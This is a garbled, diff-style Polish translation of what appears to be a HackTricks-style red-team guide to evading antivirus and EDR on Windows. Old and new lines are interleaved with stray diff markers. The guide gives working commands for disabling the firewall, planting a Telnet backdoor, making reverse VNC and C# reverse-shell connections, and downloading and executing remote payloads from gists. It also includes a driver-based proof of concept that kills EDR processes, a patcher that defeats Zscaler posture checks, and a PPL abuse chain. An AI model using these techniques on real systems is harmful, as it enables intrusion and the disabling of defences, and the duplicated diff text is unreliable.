Skoro payload zostanie załadowany bezpośrednio do pamięci bez zapisu na dysku, jedyną rzeczą, o którą musimy się martwić, jest patchowanie AMSI dla całego procesu.
|
||||
Ponieważ payload zostanie załadowany bezpośrednio do pamięci bez zapisu na dysk, będziemy musieli martwić się tylko o zapatchowanie AMSI dla całego procesu.
|
||||
|
||||
Większość C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) już oferuje możliwość wykonywania C# assemblies bezpośrednio w pamięci, ale istnieją różne sposoby wykonania tego:
|
||||
Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) już umożliwia wykonywanie C# assemblies bezpośrednio w pamięci, ale istnieją różne sposoby, by to zrobić:
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
Polega na **utworzeniu nowego procesu „ofiarnego”**, wstrzyknięciu do niego złośliwego kodu post-exploitation, uruchomieniu tego kodu i po zakończeniu zabiciu nowego procesu. Ma to zarówno zalety, jak i wady. Zaletą metody fork and run jest to, że wykonanie odbywa się **poza** naszym procesem Beacon implant. Oznacza to, że jeśli coś pójdzie nie tak w trakcie działania naszego kodu post-exploitation lub zostanie wykryte, istnieje **dużo większa szansa**, że nasz **implant przeżyje.** Wadą jest to, że mamy **większe ryzyko** wykrycia przez **Behavioural Detections**.
|
||||
Polega to na **spawning a new sacrificial process**, wstrzyknięciu do niego twojego złośliwego kodu post-exploitation, wykonaniu kodu, a po zakończeniu zabiciu tego procesu. Ma to swoje zalety i wady. Zaletą metody fork and run jest to, że wykonanie odbywa się **poza** naszym Beacon implant process. Oznacza to, że jeśli coś pójdzie nie tak lub zostanie wykryte podczas naszych działań post-exploitation, istnieje **znacznie większa szansa**, że nasz **implant przetrwa.** Wadą jest **większe ryzyko** wykrycia przez **Behavioural Detections**.
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Inline**
|
||||
|
||||
Polega na wstrzyknięciu złośliwego kodu post-exploitation **do własnego procesu**. W ten sposób można uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie nie tak podczas wykonywania payloadu, istnieje **dużo większe ryzyko** **utracenia Beacona**, ponieważ proces może się zawiesić lub paść.
|
||||
Chodzi o wstrzyknięcie złośliwego kodu post-exploitation **into its own process**. W ten sposób można uniknąć tworzenia nowego procesu i jego skanowania przez AV, ale wadą jest to, że jeśli coś pójdzie nie tak podczas wykonania payloadu, istnieje **znacznie większe ryzyko** **utracenia twojego beacon**, ponieważ proces może się zawiesić lub zcrashować.
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Jeśli chcesz przeczytać więcej o ładowaniu C# Assembly, sprawdź artykuł [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) oraz ich InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
> Jeśli chcesz przeczytać więcej o ładowaniu C# Assembly, sprawdź ten artykuł [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) oraz ich InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
|
||||
Możesz też ładować C# Assemblies **z PowerShell**, zobacz [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) oraz wideo S3cur3th1sSh1t ([https://www.youtube.com/watch?v=oe11Q-3Akuk](https://www.youtube.com/watch?v=oe11Q-3Akuk)).
|
||||
Możesz również ładować C# Assemblies **from PowerShell**, zobacz [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) oraz [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
|
||||
## Using Other Programming Languages
|
||||
## Korzystanie z innych języków programowania
|
||||
|
||||
Jak zaproponowano w [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), możliwe jest wykonywanie złośliwego kodu w innych językach, dając skompromitowanej maszynie dostęp **do środowiska interpretera zainstalowanego na Attacker Controlled SMB share**.
|
||||
Jak zaproponowano w [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), możliwe jest wykonanie złośliwego kodu przy użyciu innych języków, dając skompromitowanej maszynie dostęp **to the interpreter environment installed on the Attacker Controlled SMB share**.
|
||||
|
||||
Pozwalając na dostęp do Interpreter Binaries i środowiska na udziale SMB można **wykonać dowolny kod w tych językach w pamięci** skompromitowanej maszyny.
|
||||
Pozwalając na dostęp do Interpreter Binaries i środowiska na udziale SMB można **execute arbitrary code in these languages within memory** skompromitowanej maszyny.
|
||||
|
||||
Repo wskazuje: Defender nadal skanuje skrypty, ale wykorzystując Go, Java, PHP itp. mamy **więcej elastyczności, by obejść statyczne sygnatury**. Testy z losowymi, nieobfuskowanymi skryptami reverse shell w tych językach okazały się skuteczne.
|
||||
Repo wskazuje: Defender nadal skanuje skrypty, ale wykorzystując Go, Java, PHP itd. mamy **więcej elastyczności w omijaniu statycznych sygnatur**. Testy z losowymi nieobfuskowanymi reverse shell scripts w tych językach okazały się skuteczne.
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Token stomping to technika pozwalająca atakującemu **manipulować access tokenem lub produktem zabezpieczającym takim jak EDR czy AV**, umożliwiając obniżenie jego uprawnień tak, że proces nie zginie, ale nie będzie miał uprawnień do sprawdzania złośliwej aktywności.
|
||||
Token stomping to technika, która pozwala atakującemu **manipulować access tokenem lub produktem zabezpieczającym takim jak EDR lub AV**, umożliwiając obniżenie jego uprawnień tak, że proces nie zostanie zakończony, ale nie będzie miał uprawnień do sprawdzania złośliwej aktywności.
|
||||
|
||||
Aby temu zapobiec, Windows mógłby **zabronić zewnętrznym procesom** uzyskiwania uchwytów do tokenów procesów zabezpieczających.
|
||||
Aby temu zapobiec, Windows mógłby **uniemożliwić zewnętrznym procesom** uzyskiwanie uchwytów do tokenów procesów zabezpieczających.
|
||||
|
||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
|
||||
|
||||
## Using Trusted Software
|
||||
## Użycie zaufanego oprogramowania
|
||||
|
||||
### Chrome Remote Desktop
|
||||
|
||||
Jak opisano w [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), łatwo jest zainstalować Chrome Remote Desktop na komputerze ofiary, a następnie użyć go do przejęcia dostępu i utrzymania persystencji:
|
||||
1. Pobierz z https://remotedesktop.google.com/, kliknij "Set up via SSH", a następnie kliknij plik MSI dla Windows, aby pobrać plik MSI.
|
||||
2. Uruchom instalator cicho na maszynie ofiary (wymagane uprawnienia administratora): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Wróć do strony Chrome Remote Desktop i kliknij dalej. Kreator poprosi o autoryzację; kliknij przycisk Authorize, aby kontynuować.
|
||||
4. Uruchom podany parametr z pewnymi modyfikacjami: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Zwróć uwagę na parametr pin, który pozwala ustawić PIN bez użycia GUI).
|
||||
As described in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), łatwo jest po prostu zainstalować Chrome Remote Desktop na komputerze ofiary, a następnie użyć go do przejęcia i utrzymania dostępu:
|
||||
1. Pobierz ze https://remotedesktop.google.com/, kliknij "Set up via SSH", a następnie kliknij plik MSI dla Windows, aby pobrać MSI.
|
||||
2. Uruchom instalator w trybie cichym na maszynie ofiary (wymagane uprawnienia administratora): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Wróć do strony Chrome Remote Desktop i kliknij Next. Kreator poprosi o autoryzację; kliknij przycisk Authorize, aby kontynuować.
|
||||
4. Wykonaj podany parametr z pewnymi modyfikacjami: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Uwaga: parametr --pin pozwala ustawić PIN bez użycia GUI).
|
||||
|
||||
|
||||
## Advanced Evasion
|
||||
## Zaawansowane unikanie wykrycia
|
||||
|
||||
Evasion to bardzo skomplikowany temat — czasami trzeba wziąć pod uwagę wiele różnych źródeł telemetrii w jednym systemie, więc praktycznie niemożliwe jest pozostanie całkowicie niewykrytym w dojrzałych środowiskach.
|
||||
Evasion to bardzo skomplikowany temat; czasami trzeba brać pod uwagę wiele różnych źródeł telemetrii w jednym systemie, więc praktycznie niemożliwe jest pozostanie całkowicie niewykrytym w dojrzałych środowiskach.
|
||||
|
||||
Każde środowisko, z którym się zetkniesz, będzie mieć własne mocne i słabe strony.
|
||||
Każde środowisko, przeciwko któremu działasz, będzie miało swoje mocne i słabe strony.
|
||||
|
||||
Gorąco zachęcam do obejrzenia tej prezentacji od [@ATTL4S](https://twitter.com/DaniLJ94), aby zdobyć wgląd w bardziej zaawansowane techniki evasion.
|
||||
Gorąco zachęcam do obejrzenia tego wystąpienia od [@ATTL4S](https://twitter.com/DaniLJ94), aby zdobyć podstawy bardziej zaawansowanych technik Evasion.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
To także świetna prezentacja od [@mariuszbit](https://twitter.com/mariuszbit) o Evasion in Depth.
|
||||
To także świetne wystąpienie od [@mariuszbit](https://twitter.com/mariuszbit) o Evasion in Depth.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
{{#endref}}
|
||||
|
||||
## **Old Techniques**
|
||||
## **Stare techniki**
|
||||
|
||||
### **Check which parts Defender finds as malicious**
|
||||
### **Sprawdź, które części Defender uznaje za złośliwe**
|
||||
|
||||
Możesz użyć [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), który będzie **usuwać części binarki**, aż **zidentyfikuje, którą część Defender uznaje za złośliwą** i rozdzieli ją dla ciebie.\
|
||||
Innym narzędziem robiącym to samo jest [**avred**](https://github.com/dobin/avred) z otwartą usługą dostępną na [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
Możesz użyć [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), które będzie **usuwać części pliku binarnego** aż **dowiedzieć się, którą część Defender** uznaje za złośliwą i rozdzieli ją dla Ciebie.\
|
||||
Inne narzędzie robiące **to samo** to [**avred**](https://github.com/dobin/avred) z otwartą usługą webową pod adresem [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Telnet Server**
|
||||
|
||||
Do czasu Windows10, wszystkie wersje Windows zawierały **Telnet server**, który można było zainstalować (jako administrator) wykonując:
|
||||
Do Windows 10 wszystkie Windowsy zawierały **Telnet server**, który można było zainstalować (jako administrator) wykonując:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
Skonfiguruj, aby **uruchamiał się** przy starcie systemu i **uruchom go** teraz:
|
||||
Spraw, aby się **uruchamiał** przy starcie systemu i **uruchom** go teraz:
|
||||
```bash
|
||||
sc config TlntSVR start= auto obj= localsystem
|
||||
```
|
||||
**Zmień port telnet** (stealth) i wyłącz firewall:
|
||||
**Zmień port telnetu** (stealth) i wyłącz firewall:
|
||||
```
|
||||
tlntadmn config port=80
|
||||
netsh advfirewall set allprofiles state off
|
||||
```
|
||||
### UltraVNC
|
||||
|
||||
Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (chcesz wersje binarne, nie instalator)
|
||||
Pobierz z: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (potrzebujesz wersji binarnej, nie setupu)
|
||||
|
||||
**ON THE HOST**: Uruchom _**winvnc.exe**_ i skonfiguruj serwer:
|
||||
**NA MASZYNIE (HOST)**: Uruchom _**winvnc.exe**_ i skonfiguruj serwer:
|
||||
|
||||
- Włącz opcję _Disable TrayIcon_
|
||||
- Ustaw hasło w _VNC Password_
|
||||
@ -506,17 +504,17 @@ Następnie przenieś binarkę _**winvnc.exe**_ i **nowo** utworzony plik _**Ultr
|
||||
|
||||
#### **Reverse connection**
|
||||
|
||||
The **attacker** powinien uruchomić na swoim **host** binarkę `vncviewer.exe -listen 5900`, aby była **prepared** do przechwycenia odwrotnego **VNC connection**. Następnie, na **victim**: uruchom demona `winvnc.exe -run` i uruchom `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
|
||||
**OSTRZEŻENIE:** Aby zachować dyskrecję musisz unikać kilku rzeczy
|
||||
**WARNING:** Aby zachować stealth, nie rób kilku rzeczy
|
||||
|
||||
- Nie uruchamiaj `winvnc`, jeśli już działa, bo wywoła to [popup](https://i.imgur.com/1SROTTl.png). Sprawdź, czy działa za pomocą `tasklist | findstr winvnc`
|
||||
- Nie uruchamiaj `winvnc` bez `UltraVNC.ini` w tym samym katalogu, bo spowoduje to otwarcie [okna konfiguracji](https://i.imgur.com/rfMQWcf.png)
|
||||
- Nie uruchamiaj `winvnc -h` po pomoc, bo wywoła to [popup](https://i.imgur.com/oc18wcu.png)
|
||||
- Nie uruchamiaj `winvnc`, jeśli już działa, bo wywołasz [popup]. Sprawdź, czy działa poleceniem `tasklist | findstr winvnc`
|
||||
- Nie uruchamiaj `winvnc` bez `UltraVNC.ini` w tym samym katalogu, bo spowoduje to otwarcie [the config window]
|
||||
- Nie uruchamiaj `winvnc -h` po pomoc, bo wywoła to [popup]
|
||||
|
||||
### GreatSCT
|
||||
|
||||
Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||
Pobierz z: [https://github.com/GreatSCT/GreatSCT]
|
||||
```
|
||||
git clone https://github.com/GreatSCT/GreatSCT.git
|
||||
cd GreatSCT/setup/
|
||||
@ -538,7 +536,7 @@ Teraz **uruchom lister** poleceniem `msfconsole -r file.rc` i **wykonaj** **xml
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
```
|
||||
**Aktualny Defender zakończy proces bardzo szybko.**
|
||||
**Obecny Defender zakończy proces bardzo szybko.**
|
||||
|
||||
### Kompilowanie własnego reverse shell
|
||||
|
||||
@ -550,7 +548,7 @@ Skompiluj go za pomocą:
|
||||
```
|
||||
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
|
||||
```
|
||||
Użyj tego z:
|
||||
Użyj go z:
|
||||
```
|
||||
back.exe <ATTACKER_IP> <PORT>
|
||||
```
|
||||
@ -627,7 +625,7 @@ catch (Exception err) { }
|
||||
}
|
||||
}
|
||||
```
|
||||
### C# przy użyciu kompilatora
|
||||
### C# using kompilator
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||
```
|
||||
@ -635,7 +633,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe RE
|
||||
|
||||
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
|
||||
|
||||
Automatyczne pobieranie i wykonanie:
|
||||
Automatyczne pobieranie i uruchomienie:
|
||||
```csharp
|
||||
64bit:
|
||||
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
|
||||
@ -647,7 +645,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
|
||||
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
|
||||
{{#endref}}
|
||||
|
||||
Lista obfuscators dla C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
Lista obfuskatorów C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
|
||||
### C++
|
||||
```
|
||||
@ -662,7 +660,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
|
||||
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||
|
||||
### Przykład użycia python do tworzenia injectors:
|
||||
### Przykład użycia python do tworzenia injectorów:
|
||||
|
||||
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||
|
||||
@ -695,24 +693,24 @@ https://github.com/praetorian-code/vulcan
|
||||
|
||||
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – Wyłączanie AV/EDR z przestrzeni jądra
|
||||
|
||||
Storm-2603 wykorzystał małe narzędzie konsolowe znane jako **Antivirus Terminator**, aby wyłączyć zabezpieczenia punktu końcowego przed uruchomieniem ransomware. Narzędzie dostarcza **własny podatny, ale *signed* sterownik** i nadużywa go do wykonywania uprzywilejowanych operacji jądra, których nawet usługi Protected-Process-Light (PPL) AV nie potrafią zablokować.
|
||||
Storm-2603 wykorzystał małe narzędzie konsolowe znane jako **Antivirus Terminator**, aby wyłączyć ochronę endpoint przed zrzuceniem ransomware. Narzędzie dostarcza swój **własny podatny, ale *signed* sterownik** i nadużywa go do wykonywania uprzywilejowanych operacji w jądrze, których nawet usługi AV uruchomione jako Protected-Process-Light (PPL) nie mogą zablokować.
|
||||
|
||||
Najważniejsze wnioski
|
||||
1. **Signed driver**: Plik zapisany na dysku to `ServiceMouse.sys`, ale binarka to legalnie podpisany sterownik `AToolsKrnl64.sys` z „System In-Depth Analysis Toolkit” Antiy Labs. Ponieważ sterownik ma ważny podpis Microsoft, jest ładowany nawet gdy Driver-Signature-Enforcement (DSE) jest włączone.
|
||||
1. **Signed driver**: Plik zapisany na dysku to `ServiceMouse.sys`, ale binarka to prawidłowo podpisany sterownik `AToolsKrnl64.sys` z „System In-Depth Analysis Toolkit” Antiy Labs. Ponieważ sterownik ma ważny podpis Microsoft, ładuje się nawet gdy Driver-Signature-Enforcement (DSE) jest włączony.
|
||||
2. **Service installation**:
|
||||
```powershell
|
||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||
sc start ServiceMouse
|
||||
```
|
||||
Pierwsza linia rejestruje sterownik jako **kernel service**, a druga go uruchamia, dzięki czemu `\\.\ServiceMouse` staje się dostępny z poziomu user land.
|
||||
Pierwsza linia rejestruje sterownik jako **kernel service**, a druga go uruchamia, dzięki czemu `\\.\ServiceMouse` staje się dostępny z user land.
|
||||
3. **IOCTLs exposed by the driver**
|
||||
| IOCTL code | Funkcja |
|
||||
| IOCTL code | Capability |
|
||||
|-----------:|-----------------------------------------|
|
||||
| `0x99000050` | Zakończyć dowolny proces po PID (używane do zabijania usług Defender/EDR) |
|
||||
| `0x990000D0` | Usunąć dowolny plik z dysku |
|
||||
| `0x990001D0` | Odładować sterownik i usunąć usługę |
|
||||
| `0x99000050` | Terminate an arbitrary process by PID (used to kill Defender/EDR services) |
|
||||
| `0x990000D0` | Delete an arbitrary file on disk |
|
||||
| `0x990001D0` | Unload the driver and remove the service |
|
||||
|
||||
Minimalny proof-of-concept w C:
|
||||
```c
|
||||
@ -726,28 +724,28 @@ CloseHandle(hDrv);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
4. **Why it works**: BYOVD całkowicie pomija ochrony w trybie użytkownika; kod wykonujący się w jądrze może otwierać *chronione* procesy, kończyć je lub manipulować obiektami jądra niezależnie od PPL/PP, ELAM czy innych mechanizmów utwardzających.
|
||||
4. **Why it works**: BYOVD całkowicie omija zabezpieczenia w trybie użytkownika; kod wykonujący się w jądrze może otwierać *protected* procesy, kończyć je lub modyfikować obiekty jądra niezależnie od PPL/PP, ELAM czy innych mechanizmów hardeningu.
|
||||
|
||||
Wykrywanie / Łagodzenie
|
||||
• Włącz listę blokowanych podatnych sterowników Microsoft (`HVCI`, `Smart App Control`), aby Windows odmawiał załadowania `AToolsKrnl64.sys`.
|
||||
• Monitoruj tworzenie nowych *kernel* services i generuj alerty, gdy sterownik jest ładowany z katalogu zapisywalnego przez każdego użytkownika lub nie znajduje się na liście dozwolonych.
|
||||
• Obserwuj uchwyty w trybie użytkownika do niestandardowych obiektów urządzeń oraz następujące podejrzane wywołania `DeviceIoControl`.
|
||||
Detection / Mitigation
|
||||
• Włącz listę blokowania podatnych sterowników Microsoft (`HVCI`, `Smart App Control`), aby Windows odmówił załadowania `AToolsKrnl64.sys`.
|
||||
• Monitoruj tworzenie nowych *kernel* services i generuj alert, gdy sterownik jest ładowany z katalogu zapisywalnego przez wszystkich lub nie znajduje się na allow-list.
|
||||
• Obserwuj uchwyty w trybie użytkownika do niestandardowych obiektów urządzeń i podejrzane wywołania `DeviceIoControl`.
|
||||
|
||||
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
|
||||
|
||||
Zscaler’s **Client Connector** wykonuje reguły sprawdzania stanu urządzenia (device-posture) lokalnie i polega na Windows RPC do komunikacji wyników z innymi komponentami. Dwa słabe wybory projektowe umożliwiają pełne obejście:
|
||||
Zscaler’s **Client Connector** stosuje reguły device-posture lokalnie i używa Windows RPC do komunikowania wyników z innymi komponentami. Dwa słabe decyzje projektowe umożliwiają pełne obejście:
|
||||
|
||||
1. Ocena posture odbywa się **całkowicie po stronie klienta** (na serwer wysyłany jest tylko wynik jako wartość boolowska).
|
||||
2. Wewnętrzne endpointy RPC sprawdzają jedynie, czy łączący się plik wykonywalny jest **signed by Zscaler** (przez `WinVerifyTrust`).
|
||||
1. Ocena posture odbywa się **całkowicie po stronie klienta** (na serwer wysyłany jest tylko boolean).
|
||||
2. Wewnętrzne endpointy RPC weryfikują jedynie, że łączący się plik wykonywalny jest **signed by Zscaler** (przez `WinVerifyTrust`).
|
||||
|
||||
Poprzez **załatowanie czterech podpisanych binarek na dysku** oba mechanizmy można zneutralizować:
|
||||
Poprzez **patchowanie czterech signed binarek na dysku** obie mechaniki można unieszkodliwić:
|
||||
|
||||
| Binary | Oryginalna logika (załatana) | Rezultat |
|
||||
| Binary | Original logic patched | Result |
|
||||
|--------|------------------------|---------|
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Zawsze zwraca `1`, więc każda kontrola jest zgodna |
|
||||
| `ZSAService.exe` | Pośrednie wywołanie `WinVerifyTrust` | NOP-ed ⇒ dowolny (nawet niepodpisany) proces może powiązać się z pipe'ami RPC |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Zastąpiona przez `mov eax,1 ; ret` |
|
||||
| `ZSATunnel.exe` | Kontrole integralności tunelu | Pominiete |
|
||||
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ dowolny (nawet unsigned) proces może podpiąć się do RPC pipes |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Zastąpione przez `mov eax,1 ; ret` |
|
||||
| `ZSATunnel.exe` | Integrity checks on the tunnel | Skrócone / short-circuited |
|
||||
|
||||
Minimalny fragment patchera:
|
||||
```python
|
||||
@ -763,17 +761,17 @@ else:
|
||||
f.seek(off)
|
||||
f.write(replacement)
|
||||
```
|
||||
Po zastąpieniu oryginalnych plików i ponownym uruchomieniu stosu usług:
|
||||
Po podmianie oryginalnych plików i ponownym uruchomieniu stosu usług:
|
||||
|
||||
* **Wszystkie** kontrole zabezpieczeń wyświetlają **zielone/zgodne**.
|
||||
* Niesygnowane lub zmodyfikowane binaria mogą otwierać endpointy RPC nazwanych potoków (np. `\\RPC Control\\ZSATrayManager_talk_to_me`).
|
||||
* Skompromitowany host uzyskuje nieograniczony dostęp do sieci wewnętrznej zdefiniowanej przez polityki Zscaler.
|
||||
* **Wszystkie** kontrole postawy pokazują **zielone/zgodne**.
|
||||
* Niepodpisane lub zmodyfikowane binaria mogą otwierać named-pipe RPC endpoints (np. `\\RPC Control\\ZSATRayManager_talk_to_me`).
|
||||
* Zaatakowany host zyskuje nieograniczony dostęp do sieci wewnętrznej zdefiniowanej przez polityki Zscaler.
|
||||
|
||||
To studium przypadku pokazuje, jak czysto klientowe decyzje zaufania i proste sprawdzenia sygnatur mogą zostać pokonane kilkoma poprawkami bajtowymi.
|
||||
To studium przypadku pokazuje, jak decyzje zaufania wykonywane wyłącznie po stronie klienta i proste sprawdzenia sygnatur można obejść za pomocą kilku poprawek bajtowych.
|
||||
|
||||
## Nadużywanie Protected Process Light (PPL) do manipulacji AV/EDR za pomocą LOLBINs
|
||||
## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
|
||||
|
||||
Protected Process Light (PPL) wymusza hierarchię podpisujący/poziom, tak że tylko chronione procesy o równym lub wyższym poziomie mogą modyfikować inne. Z punktu widzenia ofensywnego, jeśli możesz legalnie uruchomić binarkę z włączonym PPL i kontrolować jej argumenty, możesz przekształcić nieszkodliwą funkcjonalność (np. logowanie) w ograniczony, wspierany przez PPL prymityw zapisu do chronionych katalogów używanych przez AV/EDR.
|
||||
Protected Process Light (PPL) wymusza hierarchię signer/level, tak że tylko chronione procesy o równym lub wyższym poziomie mogą na siebie wpływać. W ataku, jeśli potrafisz legalnie uruchomić binarkę z włączonym PPL i kontrolować jej argumenty, możesz przekształcić nieszkodliwą funkcjonalność (np. logging) w ograniczony prymityw zapisu wspierany przez PPL do chronionych katalogów używanych przez AV/EDR.
|
||||
|
||||
What makes a process run as PPL
|
||||
- The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
|
||||
@ -787,7 +785,7 @@ stealing-credentials/credentials-protections.md
|
||||
{{#endref}}
|
||||
|
||||
Launcher tooling
|
||||
- Narzędzie open-source: CreateProcessAsPPL (wybiera poziom ochrony i przekazuje argumenty do docelowego EXE):
|
||||
- Open-source helper: CreateProcessAsPPL (wybiera poziom ochrony i przekazuje argumenty do docelowego EXE):
|
||||
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||
- Wzorzec użycia:
|
||||
```text
|
||||
@ -798,19 +796,19 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
|
||||
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
|
||||
```
|
||||
LOLBIN primitive: ClipUp.exe
|
||||
- The signed system binary `C:\Windows\System32\ClipUp.exe` sam się uruchamia i akceptuje parametr pozwalający zapisać plik dziennika w ścieżce wskazanej przez wywołującego.
|
||||
- Po uruchomieniu jako proces PPL zapis pliku odbywa się z obsługą PPL.
|
||||
- ClipUp nie potrafi parsować ścieżek zawierających spacje; użyj ścieżek 8.3, aby wskazać zwykle chronione lokalizacje.
|
||||
- The signed system binary `C:\Windows\System32\ClipUp.exe` samodzielnie się uruchamia i akceptuje parametr pozwalający zapisać plik logu do ścieżki wskazanej przez wywołującego.
|
||||
- When launched as a PPL process, the file write occurs with PPL backing.
|
||||
- ClipUp cannot parse paths containing spaces; use 8.3 short paths to point into normally protected locations.
|
||||
|
||||
8.3 short path helpers
|
||||
- List short names: `dir /x` w każdym katalogu nadrzędnym.
|
||||
- List short names: `dir /x` in each parent directory.
|
||||
- Derive short path in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
|
||||
|
||||
Abuse chain (abstract)
|
||||
1) Launch the PPL-capable LOLBIN (ClipUp) with `CREATE_PROTECTED_PROCESS` using a launcher (e.g., CreateProcessAsPPL).
|
||||
2) Pass the ClipUp log-path argument to force a file creation in a protected AV directory (e.g., Defender Platform). Use 8.3 short names if needed.
|
||||
